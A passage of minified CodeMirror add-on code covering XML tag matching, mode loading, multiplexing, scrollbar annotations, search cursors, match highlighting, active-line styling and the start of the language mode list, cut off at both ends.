a.text=a.cm.getLine(--a.line),a.ch=a.text.length,!0}function
g(a){for(;;){var
b=a.text.indexOf(">",a.ch);if(-1==b){if(e(a))continue;return}{if(d(a,b+1)){var
c=a.text.lastIndexOf("/",b),f=c>-1&&!/\S/.test(a.text.slice(c+1,b));return
a.ch=b+1,f?"selfClose":"regular"}a.ch=b+1}}}function
h(a){for(;;){var
b=a.ch?a.text.lastIndexOf("<",a.ch-1):-1;if(-1==b){if(f(a))continue;return}if(d(a,b+1)){o.lastIndex=b,a.ch=b;var
c=o.exec(a.text);if(c&&c.index==b)return c}else a.ch=b}}function
i(a){for(;;){o.lastIndex=a.ch;var
b=o.exec(a.text);if(!b){if(e(a))continue;return}{if(d(a,b.index+1))return
a.ch=b.index+b[0].length,b;a.ch=b.index+1}}}function j(a){for(;;){var
b=a.ch?a.text.lastIndexOf(">",a.ch-1):-1;if(-1==b){if(f(a))continue;return}{if(d(a,b+1)){var
c=a.text.lastIndexOf("/",b),e=c>-1&&!/\S/.test(a.text.slice(c+1,b));return
a.ch=b+1,e?"selfClose":"regular"}a.ch=b}}}function
k(a,b){for(var c=[];;){var
d,e=i(a),f=a.line,h=a.ch-(e?e[0].length:0);if(!e||!(d=g(a)))return;if("selfClose"!=d)if(e[1]){for(var
j=c.length-1;j>=0;--j)if(c[j]==e[2]){c.length=j;break}if(j<0&&(!b||b==e[2]))return{tag:e[2],from:m(f,h),to:m(a.line,a.ch)}}else
c.push(e[2])}}function l(a,b){for(var c=[];;){var
d=j(a);if(!d)return;if("selfClose"!=d){var
e=a.line,f=a.ch,g=h(a);if(!g)return;if(g[1])c.push(g[2]);else{for(var
i=c.length-1;i>=0;--i)if(c[i]==g[2]){c.length=i;break}if(i<0&&(!b||b==g[2]))return{tag:g[2],from:m(a.line,a.ch),to:m(e,f)}}}else
h(a)}}var
m=a.Pos,n="A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD",o=new
RegExp("<(/?)(["+n+"][A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD-:.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*)","g");a.registerHelper("fold","xml",(function(a,d){for(var
e=new c(a,d.line,0);;){var f=i(e);if(!f||e.line!=d.line)return;var
h=g(e);if(!h)return;if(!f[1]&&"selfClose"!=h){var
j=m(e.line,e.ch),l=k(e,f[2]);return
l&&b(l.from,j)>0?{from:j,to:l.from}:null}}})),a.findMatchingTag=function(a,d,e){var
f=new
c(a,d.line,d.ch,e);if(-1!=f.text.indexOf(">")||-1!=f.text.indexOf("<")){var
i=g(f),j=i&&m(f.line,f.ch),n=i&&h(f);if(i&&n&&!(b(f,d)>0)){var
o={from:m(f.line,f.ch),to:j,tag:n[2]};return"selfClose"==i?{open:o,close:null,at:"open"}:n[1]?{open:l(f,n[2]),close:o,at:"close"}:(f=new
c(a,j.line,j.ch,e),{open:o,close:k(f,n[2]),at:"open"})}}},a.findEnclosingTag=function(a,b,d,e){for(var
f=new c(a,b.line,b.ch,d);;){var g=l(f,e);if(!g)break;var h=new
c(a,b.line,b.ch,d),i=k(h,g.tag);if(i)return{open:g,close:i}}},a.scanForClosingTag=function(a,b,d,e){return
k(new
c(a,b.line,b.ch,e?{from:0,to:e}:null),d)}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),"cjs"):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],(function(b){a(b,"amd")})):a(CodeMirror,"plain")})((function(a,b){function
c(a,b){var c=b;return function(){0==--c&&a()}}function d(b,d,e){var
f=a.modes[b],g=f&&f.dependencies;if(!g)return d();for(var
h=[],i=0;i<g.length;++i)a.modes.hasOwnProperty(g[i])||h.push(g[i]);if(!h.length)return
d();for(var
j=c(d,h.length),i=0;i<h.length;++i)a.requireMode(h[i],j,e)}a.modeURL||(a.modeURL="../mode/%N/%N.js");var
e={};a.requireMode=function(c,f,g){if("string"!=typeof
c&&(c=c.name),a.modes.hasOwnProperty(c))return
d(c,f,g);if(e.hasOwnProperty(c))return e[c].push(f);var
h=g&&g.path?g.path(c):a.modeURL.replace(/%N/g,c);if(g&&g.loadMode)g.loadMode(h,(function(){d(c,f,g)}));else
if("plain"==b){var
i=document.createElement("script");i.src=h;var
j=document.getElementsByTagName("script")[0],k=e[c]=[f];a.on(i,"load",(function(){d(c,(function(){for(var
a=0;a<k.length;++a)k[a]()}),g)})),j.parentNode.insertBefore(i,j)}else"cjs"==b?(require(h),f()):"amd"==b&&requirejs([h],f)},a.autoLoadMode=function(b,c,d){a.modes.hasOwnProperty(c)||a.requireMode(c,(function(){b.setOption("mode",b.getOption("mode"))}),d)}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.multiplexingMode=function(b){function
c(a,b,c,d){if("string"==typeof b){var e=a.indexOf(b,c);return
d&&e>-1?e+b.length:e}var f=b.exec(c?a.slice(c):a);return
f?f.index+c+(d?f[0].length:0):-1}var
d=Array.prototype.slice.call(arguments,1);return{startState:function(){return{outer:a.startState(b),innerActive:null,inner:null}},copyState:function(c){return{outer:a.copyState(b,c.outer),innerActive:c.innerActive,inner:c.innerActive&&a.copyState(c.innerActive.mode,c.inner)}},token:function(e,f){if(f.innerActive){var
g=f.innerActive,h=e.string;if(!g.close&&e.sol())return
f.innerActive=f.inner=null,this.token(e,f);var
i=g.close?c(h,g.close,e.pos,g.parseDelimiters):-1;if(i==e.pos&&!g.parseDelimiters)return
e.match(g.close),f.innerActive=f.inner=null,g.delimStyle&&g.delimStyle+"
"+g.delimStyle+"-close";i>-1&&(e.string=h.slice(0,i));var
j=g.mode.token(e,f.inner);return
i>-1&&(e.string=h),i==e.pos&&g.parseDelimiters&&(f.innerActive=f.inner=null),g.innerStyle&&(j=j?j+"
"+g.innerStyle:g.innerStyle),j}for(var
k=1/0,h=e.string,l=0;l<d.length;++l){var
m=d[l],i=c(h,m.open,e.pos);if(i==e.pos){m.parseDelimiters||e.match(m.open),f.innerActive=m;var
n=0;if(b.indent){var
o=b.indent(f.outer,"","");o!==a.Pass&&(n=o)}return
f.inner=a.startState(m.mode,n),m.delimStyle&&m.delimStyle+"
"+m.delimStyle+"-open"}-1!=i&&i<k&&(k=i)}k!=1/0&&(e.string=h.slice(0,k));var
p=b.token(e,f.outer);return
k!=1/0&&(e.string=h),p},indent:function(c,d,e){var
f=c.innerActive?c.innerActive.mode:b;return
f.indent?f.indent(c.innerActive?c.inner:c.outer,d,e):a.Pass},blankLine:function(c){var
e=c.innerActive?c.innerActive.mode:b;if(e.blankLine&&e.blankLine(c.innerActive?c.inner:c.outer),c.innerActive)"\n"===c.innerActive.close&&(c.innerActive=c.inner=null);else
for(var f=0;f<d.length;++f){var
g=d[f];"\n"===g.open&&(c.innerActive=g,c.inner=a.startState(g.mode,e.indent?e.indent(c.outer,"",""):0))}},electricChars:b.electricChars,innerMode:function(a){return
a.inner?{state:a.inner,mode:a.innerActive.mode}:{state:a.outer,mode:b}}}}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){function
c(a){clearTimeout(d.doRedraw),d.doRedraw=setTimeout((function(){d.redraw()}),a)}this.cm=a,this.options=b,this.buttonHeight=b.scrollButtonHeight||a.getOption("scrollButtonHeight"),this.annotations=[],this.doRedraw=this.doUpdate=null,this.div=a.getWrapperElement().appendChild(document.createElement("div")),this.div.style.cssText="position:
absolute; right: 0; top: 0; z-index: 7; pointer-events:
none",this.computeScale();var
d=this;a.on("refresh",this.resizeHandler=function(){clearTimeout(d.doUpdate),d.doUpdate=setTimeout((function(){d.computeScale()&&c(20)}),100)}),a.on("markerAdded",this.resizeHandler),a.on("markerCleared",this.resizeHandler),!1!==b.listenForChanges&&a.on("changes",this.changeHandler=function(){c(250)})}a.defineExtension("annotateScrollbar",(function(a){return"string"==typeof
a&&(a={className:a}),new
b(this,a)})),a.defineOption("scrollButtonHeight",0),b.prototype.computeScale=function(){var
a=this.cm,b=(a.getWrapperElement().clientHeight-a.display.barHeight-2*this.buttonHeight)/a.getScrollerElement().scrollHeight;if(b!=this.hScale)return
this.hScale=b,!0},b.prototype.update=function(a){this.annotations=a,this.redraw()},b.prototype.redraw=function(a){function
b(a,b){return
i!=a.line&&(i=a.line,j=c.getLineHandle(i)),j.widgets&&j.widgets.length||g&&j.height>h?c.charCoords(a,"local")[b?"top":"bottom"]:c.heightAtLine(j,"local")+(b?0:j.height)}!1!==a&&this.computeScale();var
c=this.cm,d=this.hScale,e=document.createDocumentFragment(),f=this.annotations,g=c.getOption("lineWrapping"),h=g&&1.5*c.defaultTextHeight(),i=null,j=null,k=c.lastLine();if(c.display.barWidth)for(var
l,m=0;m<f.length;m++){var n=f[m];if(!(n.to.line>k)){for(var
o=l||b(n.from,!0)*d,p=b(n.to,!1)*d;m<f.length-1&&!(f[m+1].to.line>k)&&!((l=b(f[m+1].from,!0)*d)>p+.9);)n=f[++m],p=b(n.to,!1)*d;if(p!=o){var
q=Math.max(p-o,3),r=e.appendChild(document.createElement("div"));r.style.cssText="position:
absolute; right: 0px; width:
"+Math.max(c.display.barWidth-1,2)+"px; top:
"+(o+this.buttonHeight)+"px; height:
"+q+"px",r.className=this.options.className,n.id&&r.setAttribute("annotation-id",n.id)}}}this.div.textContent="",this.div.appendChild(e)},b.prototype.clear=function(){this.cm.off("refresh",this.resizeHandler),this.cm.off("markerAdded",this.resizeHandler),this.cm.off("markerCleared",this.resizeHandler),this.changeHandler&&this.cm.off("changes",this.changeHandler),this.div.parentNode.removeChild(this.div)}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(b,c,d){function e(b){var
c=a.wheelEventPixels(b)["horizontal"==f.orientation?"x":"y"],d=f.pos;f.moveTo(f.pos+c),f.pos!=d&&a.e_preventDefault(b)}this.orientation=c,this.scroll=d,this.screen=this.total=this.size=1,this.pos=0,this.node=document.createElement("div"),
this.node.className=b+"-"+c,this.inner=this.node.appendChild(document.createElement("div"));var
f=this;a.on(this.inner,"mousedown",(function(b){function
c(){a.off(document,"mousemove",d),a.off(document,"mouseup",c)}function
d(a){if(1!=a.which)return
c();f.moveTo(h+(a[e]-g)*(f.total/f.size))}if(1==b.which){a.e_preventDefault(b);var
e="horizontal"==f.orientation?"pageX":"pageY",g=b[e],h=f.pos;a.on(document,"mousemove",d),a.on(document,"mouseup",c)}})),a.on(this.node,"click",(function(b){a.e_preventDefault(b);var
c,d=f.inner.getBoundingClientRect();c="horizontal"==f.orientation?b.clientX<d.left?-1:b.clientX>d.right?1:0:b.clientY<d.top?-1:b.clientY>d.bottom?1:0,f.moveTo(f.pos+c*f.screen)})),a.on(this.node,"mousewheel",e),a.on(this.node,"DOMMouseScroll",e)}function
c(a,c,d){this.addClass=a,this.horiz=new
b(a,"horizontal",d),c(this.horiz.node),this.vert=new
b(a,"vertical",d),c(this.vert.node),this.width=null}b.prototype.setPos=function(a,b){return
a<0&&(a=0),a>this.total-this.screen&&(a=this.total-this.screen),!(!b&&a==this.pos)&&(this.pos=a,this.inner.style["horizontal"==this.orientation?"left":"top"]=a*(this.size/this.total)+"px",!0)},b.prototype.moveTo=function(a){this.setPos(a)&&this.scroll(a,this.orientation)};b.prototype.update=function(a,b,c){var
d=this.screen!=b||this.total!=a||this.size!=c;d&&(this.screen=b,this.total=a,this.size=c);var
e=this.screen*(this.size/this.total);e<10&&(this.size-=10-e,e=10),this.inner.style["horizontal"==this.orientation?"width":"height"]=e+"px",this.setPos(this.pos,d)},c.prototype.update=function(a){if(null==this.width){var
b=window.getComputedStyle?window.getComputedStyle(this.horiz.node):this.horiz.node.currentStyle;b&&(this.width=parseInt(b.height))}var
c=this.width||0,d=a.scrollWidth>a.clientWidth+1,e=a.scrollHeight>a.clientHeight+1;return
this.vert.node.style.display=e?"block":"none",this.horiz.node.style.display=d?"block":"none",e&&(this.vert.update(a.scrollHeight,a.clientHeight,a.viewHeight-(d?c:0)),this.vert.node.style.bottom=d?c+"px":"0"),d&&(this.horiz.update(a.scrollWidth,a.clientWidth,a.viewWidth-(e?c:0)-a.barLeft),this.horiz.node.style.right=e?c+"px":"0",this.horiz.node.style.left=a.barLeft+"px"),{right:e?c:0,bottom:d?c:0}},c.prototype.setScrollTop=function(a){this.vert.setPos(a)},c.prototype.setScrollLeft=function(a){this.horiz.setPos(a)},c.prototype.clear=function(){var
a=this.horiz.node.parentNode;a.removeChild(this.horiz.node),a.removeChild(this.vert.node)},a.scrollbarModel.simple=function(a,b){return
new
c("CodeMirror-simplescroll",a,b)},a.scrollbarModel.overlay=function(a,b){return
new
c("CodeMirror-overlayscroll",a,b)}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./searchcursor"),require("../scroll/annotatescrollbar")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./searchcursor","../scroll/annotatescrollbar"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b,c,d){this.cm=a,this.options=d;var
e={listenForChanges:!1};for(var f in
d)e[f]=d[f];e.className||(e.className="CodeMirror-search-match"),this.annotation=a.annotateScrollbar(e),this.query=b,this.caseFold=c,this.gap={from:a.firstLine(),to:a.lastLine()+1},this.matches=[],this.update=null,this.findMatches(),this.annotation.update(this.matches);var
g=this;a.on("change",this.changeHandler=function(a,b){g.onChange(b)})}function
c(a,b,c){return
a<=b?a:Math.max(b,a+c)}a.defineExtension("showMatchesOnScrollbar",(function(a,c,d){return"string"==typeof
d&&(d={className:d}),d||(d={}),new
b(this,a,c,d)}));b.prototype.findMatches=function(){if(this.gap){for(var
b=0;b<this.matches.length;b++){var
c=this.matches[b];if(c.from.line>=this.gap.to)break;c.to.line>=this.gap.from&&this.matches.splice(b--,1)}for(var
d=this.cm.getSearchCursor(this.query,a.Pos(this.gap.from,0),{caseFold:this.caseFold,multiline:this.options.multiline}),e=this.options&&this.options.maxMatches||1e3;d.findNext();){var
c={from:d.from(),to:d.to()};if(c.from.line>=this.gap.to)break;if(this.matches.splice(b++,0,c),this.matches.length>e)break}this.gap=null}},b.prototype.onChange=function(b){var
d=b.from.line,e=a.changeEnd(b).line,f=e-b.to.line;if(this.gap?(this.gap.from=Math.min(c(this.gap.from,d,f),b.from.line),this.gap.to=Math.max(c(this.gap.to,d,f),b.from.line)):this.gap={from:b.from.line,to:e+1},f)for(var
g=0;g<this.matches.length;g++){var
h=this.matches[g],i=c(h.from.line,d,f);i!=h.from.line&&(h.from=a.Pos(i,h.from.ch));var
j=c(h.to.line,d,f);j!=h.to.line&&(h.to=a.Pos(j,h.to.ch))}clearTimeout(this.update);var
k=this;this.update=setTimeout((function(){k.updateAfterChange()}),250)},b.prototype.updateAfterChange=function(){this.findMatches(),this.annotation.update(this.matches)},b.prototype.clear=function(){this.cm.off("change",this.changeHandler),this.annotation.clear()}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./matchesonscrollbar")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./matchesonscrollbar"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){this.options={};for(var b in
l)this.options[b]=(a&&a.hasOwnProperty(b)?a:l)[b];this.overlay=this.timeout=null,this.matchesonscroll=null,this.active=!1}function
c(a){var
b=a.state.matchHighlighter;(b.active||a.hasFocus())&&e(a,b)}function
d(a){var b=a.state.matchHighlighter;b.active||(b.active=!0,e(a,b))}function
e(a,b){clearTimeout(b.timeout),b.timeout=setTimeout((function(){h(a)}),b.options.delay)}function
f(a,b,c,d){var
e=a.state.matchHighlighter;if(a.addOverlay(e.overlay=k(b,c,d)),e.options.annotateScrollbar&&a.showMatchesOnScrollbar){var
f=c?new
RegExp((/\w/.test(b.charAt(0))?"\\b":"")+b.replace(/[\\\[.+*?(){|^$]/g,"\\$&")+(/\w/.test(b.charAt(b.length-1))?"\\b":"")):b;e.matchesonscroll=a.showMatchesOnScrollbar(f,!1,{className:"CodeMirror-selection-highlight-scrollbar"})}}function
g(a){var
b=a.state.matchHighlighter;b.overlay&&(a.removeOverlay(b.overlay),b.overlay=null,b.matchesonscroll&&(b.matchesonscroll.clear(),b.matchesonscroll=null))}function
h(a){a.operation((function(){var
b=a.state.matchHighlighter;if(g(a),!a.somethingSelected()&&b.options.showToken){for(var
c=!0===b.options.showToken?/[\w$]/:b.options.showToken,d=a.getCursor(),e=a.getLine(d.line),h=d.ch,j=h;h&&c.test(e.charAt(h-1));)--h;for(;j<e.length&&c.test(e.charAt(j));)++j;return
void(h<j&&f(a,e.slice(h,j),c,b.options.style))}var
k=a.getCursor("from"),l=a.getCursor("to");if(k.line==l.line&&(!b.options.wordsOnly||i(a,k,l))){var
m=a.getRange(k,l);b.options.trim&&(m=m.replace(/^\s+|\s+$/g,"")),m.length>=b.options.minChars&&f(a,m,!1,b.options.style)}}))}function
i(a,b,c){if(null!==a.getRange(b,c).match(/^\w+$/)){if(b.ch>0){var
d={line:b.line,ch:b.ch-1},e=a.getRange(d,b);if(null===e.match(/\W/))return!1}if(c.ch<a.getLine(b.line).length){var
d={line:c.line,ch:c.ch+1},e=a.getRange(c,d);if(null===e.match(/\W/))return!1}return!0}return!1}function
j(a,b){return!(a.start&&b.test(a.string.charAt(a.start-1))||a.pos!=a.string.length&&b.test(a.string.charAt(a.pos)))}function
k(a,b,c){return{token:function(d){if(d.match(a)&&(!b||j(d,b)))return
c;d.next(),d.skipTo(a.charAt(0))||d.skipToEnd()}}}var
l={style:"matchhighlight",minChars:2,delay:100,wordsOnly:!1,annotateScrollbar:!1,showToken:!1,trim:!0};a.defineOption("highlightSelectionMatches",!1,(function(e,f,i){if(i&&i!=a.Init&&(g(e),clearTimeout(e.state.matchHighlighter.timeout),e.state.matchHighlighter=null,e.off("cursorActivity",c),e.off("focus",d)),f){var
j=e.state.matchHighlighter=new
b(f);e.hasFocus()?(j.active=!0,h(e)):e.on("focus",d),e.on("cursorActivity",c)}}))})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){var b=a.flags;return
null!=b?b:(a.ignoreCase?"i":"")+(a.global?"g":"")+(a.multiline?"m":"")}function
c(a,c){for(var
d=b(a),e=d,f=0;f<c.length;f++)-1==e.indexOf(c.charAt(f))&&(e+=c.charAt(f));return
d==e?a:new RegExp(a.source,e)}function
d(a){return/\\s|\\n|\n|\\W|\\D|\[\^/.test(a.source)}function
e(a,b,d){b=c(b,"g");for(var
e=d.line,f=d.ch,g=a.lastLine();e<=g;e++,f=0){b.lastIndex=f;var
h=a.getLine(e),i=b.exec(h);if(i)return{from:p(e,i.index),to:p(e,i.index+i[0].length),match:i}}}function
f(a,b,f){if(!d(b))return e(a,b,f);b=c(b,"gm");for(var
g,h=1,i=f.line,j=a.lastLine();i<=j;){for(var
k=0;k<h&&!(i>j);k++){var
l=a.getLine(i++);g=null==g?l:g+"\n"+l}h*=2,b.lastIndex=f.ch;var
m=b.exec(g);if(m){var
n=g.slice(0,m.index).split("\n"),o=m[0].split("\n"),q=f.line+n.length-1,r=n[n.length-1].length;return{from:p(q,r),to:p(q+o.length-1,1==o.length?r+o[0].length:o[o.length-1].length),match:m}}}}function
g(a,b,c){for(var d,e=0;e<=a.length;){b.lastIndex=e;var
f=b.exec(a);if(!f)break;var
g=f.index+f[0].length;if(g>a.length-c)break;(!d||g>d.index+d[0].length)&&(d=f),e=f.index+1}return
d}function h(a,b,d){b=c(b,"g");for(var
e=d.line,f=d.ch,h=a.firstLine();e>=h;e--,f=-1){var
i=a.getLine(e),j=g(i,b,f<0?0:i.length-f);if(j)return{from:p(e,j.index),to:p(e,j.index+j[0].length),match:j}}}function
i(a,b,e){if(!d(b))return h(a,b,e);b=c(b,"gm");for(var
f,i=1,j=a.getLine(e.line).length-e.ch,k=e.line,l=a.firstLine();k>=l;){for(var
m=0;m<i&&k>=l;m++){var
n=a.getLine(k--);f=null==f?n:n+"\n"+f}i*=2;var
o=g(f,b,j);if(o){var
q=f.slice(0,o.index).split("\n"),r=o[0].split("\n"),s=k+q.length,t=q[q.length-1].length;return{from:p(s,t),to:p(s+r.length-1,1==r.length?t+r[0].length:r[r.length-1].length),match:o}}}}function
j(a,b,c,d){if(a.length==b.length)return c;for(var
e=0,f=c+Math.max(0,a.length-b.length);;){if(e==f)return e;var
g=e+f>>1,h=d(a.slice(0,g)).length;if(h==c)return
g;h>c?f=g:e=g+1}}function k(a,b,c,d){if(!b.length)return null;var
e=d?n:o,f=e(b).split(/\r|\n\r?/);a:for(var
g=c.line,h=c.ch,i=a.lastLine()+1-f.length;g<=i;g++,h=0){var
k=a.getLine(g).slice(h),l=e(k);if(1==f.length){var
m=l.indexOf(f[0]);if(-1==m)continue a;var
c=j(k,l,m,e)+h;return{from:p(g,j(k,l,m,e)+h),to:p(g,j(k,l,m+f[0].length,e)+h)}}var
q=l.length-f[0].length;if(l.slice(q)==f[0]){for(var
r=1;r<f.length-1;r++)if(e(a.getLine(g+r))!=f[r])continue a;var
s=a.getLine(g+f.length-1),t=e(s),u=f[f.length-1];if(t.slice(0,u.length)==u)return{from:p(g,j(k,l,q,e)+h),to:p(g+f.length-1,j(s,t,u.length,e))}}}}function
l(a,b,c,d){if(!b.length)return null;var
e=d?n:o,f=e(b).split(/\r|\n\r?/);a:for(var
g=c.line,h=c.ch,i=a.firstLine()-1+f.length;g>=i;g--,h=-1){var
k=a.getLine(g);h>-1&&(k=k.slice(0,h));var
l=e(k);if(1==f.length){var m=l.lastIndexOf(f[0]);if(-1==m)continue
a;return{from:p(g,j(k,l,m,e)),to:p(g,j(k,l,m+f[0].length,e))}}var
q=f[f.length-1];if(l.slice(0,q.length)==q){for(var
r=1,c=g-f.length+1;r<f.length-1;r++)if(e(a.getLine(c+r))!=f[r])continue
a;var
s=a.getLine(g+1-f.length),t=e(s);if(t.slice(t.length-f[0].length)==f[0])return{from:p(g+1-f.length,j(s,t,s.length-f[0].length,e)),to:p(g,j(k,l,q.length,e))}}}}function
m(a,b,d,g){this.atOccurrence=!1,this.doc=a,d=d?a.clipPos(d):p(0,0),this.pos={from:d,to:d};var
j;"object"==typeof
g?j=g.caseFold:(j=g,g=null),"string"==typeof
b?(null==j&&(j=!1),this.matches=function(c,d){return(c?l:k)(a,b,d,j)}):(b=c(b,"gm"),g&&!1===g.multiline?this.matches=function(c,d){return(c?h:e)(a,b,d)}:this.matches=function(c,d){return(c?i:f)(a,b,d)})}var
n,o,p=a.Pos;String.prototype.normalize?(n=function(a){return
a.normalize("NFD").toLowerCase()},o=function(a){return
a.normalize("NFD")}):(n=function(a){return
a.toLowerCase()},o=function(a){return
a}),m.prototype={findNext:function(){return
this.find(!1)},findPrevious:function(){return
this.find(!0)},find:function(b){for(var
c=this.matches(b,this.doc.clipPos(b?this.pos.from:this.pos.to));c&&0==a.cmpPos(c.from,c.to);)b?c.from.ch?c.from=p(c.from.line,c.from.ch-1):c=c.from.line==this.doc.firstLine()?null:this.matches(b,this.doc.clipPos(p(c.from.line-1))):c.to.ch<this.doc.getLine(c.to.line).length?c.to=p(c.to.line,c.to.ch+1):c=c.to.line==this.doc.lastLine()?null:this.matches(b,p(c.to.line+1,0));if(c)return
this.pos=c,this.atOccurrence=!0,this.pos.match||!0;var
d=p(b?this.doc.firstLine():this.doc.lastLine()+1,0);return
this.pos={from:d,to:d},this.atOccurrence=!1},from:function(){if(this.atOccurrence)return
this.pos.from},to:function(){if(this.atOccurrence)return
this.pos.to},replace:function(b,c){if(this.atOccurrence){var
d=a.splitLines(b);this.doc.replaceRange(d,this.pos.from,this.pos.to,c),this.pos.to=p(this.pos.from.line+d.length-1,d[d.length-1].length+(1==d.length?this.pos.from.ch:0))}}},a.defineExtension("getSearchCursor",(function(a,b,c){return
new
m(this.doc,a,b,c)})),a.defineDocExtension("getSearchCursor",(function(a,b,c){return
new
m(this,a,b,c)})),a.defineExtension("selectMatches",(function(b,c){for(var
d=[],e=this.getSearchCursor(b,this.getCursor("from"),c);e.findNext()&&!(a.cmpPos(e.to(),this.getCursor("to"))>0);)d.push({anchor:e.from(),head:e.to()});d.length&&this.setSelections(d,0)}))})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var
b=0;b<a.state.activeLines.length;b++)a.removeLineClass(a.state.activeLines[b],"wrap",f),a.removeLineClass(a.state.activeLines[b],"background",g),a.removeLineClass(a.state.activeLines[b],"gutter",h)}function
c(a,b){if(a.length!=b.length)return!1;for(var
c=0;c<a.length;c++)if(a[c]!=b[c])return!1;return!0}function
d(a,d){for(var e=[],i=0;i<d.length;i++){var
j=d[i],k=a.getOption("styleActiveLine");if("object"==typeof
k&&k.nonEmpty?j.anchor.line==j.head.line:j.empty()){var
l=a.getLineHandleVisualStart(j.head.line);e[e.length-1]!=l&&e.push(l)}}c(a.state.activeLines,e)||a.operation((function(){b(a);for(var
c=0;c<e.length;c++)a.addLineClass(e[c],"wrap",f),a.addLineClass(e[c],"background",g),a.addLineClass(e[c],"gutter",h);a.state.activeLines=e}))}function
e(a,b){d(a,b.ranges)}var
f="CodeMirror-activeline",g="CodeMirror-activeline-background",h="CodeMirror-activeline-gutter";a.defineOption("styleActiveLine",!1,(function(c,f,g){var
h=g!=a.Init&&g;f!=h&&(h&&(c.off("beforeSelectionChange",e),b(c),delete
c.state.activeLines),f&&(c.state.activeLines=[],d(c,c.listSelections()),c.on("beforeSelectionChange",e)))}))})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.modeInfo=[{name:"APL",mime:"text/apl",mode:"apl",ext:["dyalog","apl"]},{name:"PGP",mimes:["application/pgp","application/pgp-encrypted","application/pgp-keys","application/pgp-signature"],mode:"asciiarmor",ext:["asc","pgp","sig"]},{name:"ASN.1",mime:"text/x-ttcn-asn",mode:"asn.1",ext:["asn","asn1"]},{name:"Asterisk",mime:"text/x-asterisk",mode:"asterisk",file:/^extensions\.conf$/i},{name:"Brainfuck",mime:"text/x-brainfuck",mode:"brainfuck",ext:["b","bf"]},{name:"C",mime:"text/x-csrc",mode:"clike",ext:["c","h","ino"]},{name:"C++",mime:"text/x-c++src",mode:"clike",ext:["cpp","c++","cc","cxx","hpp","h++","hh","hxx"],alias:["cpp"]},{name:"Cobol",mime:"text/x-cobol",mode:"cobol",ext:["cob","cpy"]},{name:"C#",mime:"text/x-csharp",mode:"clike",ext:["cs"],alias:["csharp","cs"]},{name:"Clojure",mime:"text/x-clojure",mode:"clojure",ext:["clj","cljc","cljx"]},{name:"ClojureScript",mime:"text/x-clojurescript",mode:"clojure",ext:["cljs"]},{name:"Closure
Stylesheets
(GSS)",mime:"text/x-gss",mode:"css",ext:["gss"]},{name:"CMake",mime:"text/x-cmake",mode:"cmake",ext:["cmake","cmake.in"],file:/^CMakeLists.txt$/},{name:"CoffeeScript",mimes:["application/vnd.coffeescript","text/coffeescript","text/x-coffeescript"],mode:"coffeescript",ext:["coffee"],alias:["coffee","coffee-script"]},{name:"Common
Lisp",mime:"text/x-common-lisp",mode:"commonlisp",ext:["cl","lisp","el"],alias:["lisp"]},{name:"Cypher",mime:"application/x-cypher-query",mode:"cypher",ext:["cyp","cypher"]},{name:"Cython",mime:"text/x-cython",mode:"python",ext:["pyx","pxd","pxi"]},{name:"Crystal",mime:"text/x-crystal",mode:"crystal",ext:["cr"]},{name:"CSS",mime:"text/css",mode:"css",ext:["css"]},{name:"CQL",mime:"text/x-cassandra",mode:"sql",ext:["cql"]},{name:"D",mime:"text/x-d",mode:"d",ext:["d"]},{name:"Dart",mimes:["application/dart","text/x-dart"],mode:"dart",ext:["dart"]},{name:"diff",mime:"text/x-diff",mode:"diff",ext:["diff","patch"]},{name:"Django",mime:"text/x-django",mode:"django"},{name:"Dockerfile",mime:"text/x-dockerfile",mode:"dockerfile",file:/^Dockerfile$/},{name:"DTD",mime:"application/xml-dtd",mode:"dtd",ext:["dtd"]},{name:"Dylan",mime:"text/x-dylan",mode:"dylan",ext:["dylan","dyl","intr"]},{name:"EBNF",mime:"text/x-ebnf",mode:"ebnf"},{name:"ECL",mime:"text/x-ecl",mode:"ecl",ext:["ecl"]},{name:"edn",mime:"application/edn",mode:"clojure",ext:["edn"]},{name:"Eiffel",mime:"text/x-eiffel",mode:"eiffel",ext:["e"]},{name:"Elm",mime:"text/x-elm",mode:"elm",ext:["elm"]},{name:"Embedded
Javascript",mime:"application/x-ejs",mode:"htmlembedded",ext:["ejs"]},{name:"Embedded
